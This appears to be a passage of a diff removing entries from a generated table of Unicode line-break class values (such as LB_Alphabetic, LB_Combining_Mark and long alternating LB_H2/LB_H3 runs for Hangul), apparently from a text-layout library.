-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Glue,
-	LB_Break_After,
-	LB_ZWSpace,
-	LB_Combining_Mark,
-	LB_ZWJ,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Glue,
-	LB_Break_After,
-	LB_Break_Both,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Open_Punctuation,
-	LB_Quotation,
-	LB_Open_Punctuation,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Inseparable,
-	LB_Break_After,
-	LB_Mandatory_Break,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Word_Joiner,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Inseparable,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Quotation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Open_Punctuation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Break_After,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_Both,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Open_Punctuation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Nonstarter,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Combining_Mark,
-	LB_Ideographic,
-	LB_Combining_Mark,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_JL,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_Alphabetic,
-	LB_JV,
-	LB_Alphabetic,
-	LB_JT,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Combining_Mark,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Infix_Numeric,
-	LB_Close_Punctuation,
-	LB_Infix_Numeric,
-	LB_Exclamation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Inseparable,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Word_Joiner,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Nonstarter,
